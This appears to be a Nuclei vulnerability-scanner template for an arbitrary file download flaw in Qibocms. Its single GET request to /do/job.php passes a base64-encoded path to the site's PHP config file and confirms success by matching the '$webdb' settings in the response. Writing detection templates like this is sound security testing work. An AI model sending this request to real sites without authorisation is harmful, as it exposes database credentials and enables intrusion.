id: qibocms-file-download

info:
  name: Qibocms - Arbitrary File Download
  author: theabhinavgaur
  severity: high
  description: Qibocms is vulnerable to arbitrary file download vulnerability.
  classification:
    cwe-id: CWE-200,CWE-552
  metadata:
    verified: true
    max-request: 1
  tags: qibocms,lfr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "$webdb"
        condition: and

      - type: word
        part: header
        words:
          - "filename=config"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220263512b6b2e31b66e869bf4f47cec97eecaa7bdfcb52ac9a5920211ba2e8a50c0221008991476dd785576d7d2a1aa29223dfa683bda50fba6014a8606725ea1839f54e:922c64590222798bb761d5b6d8e72950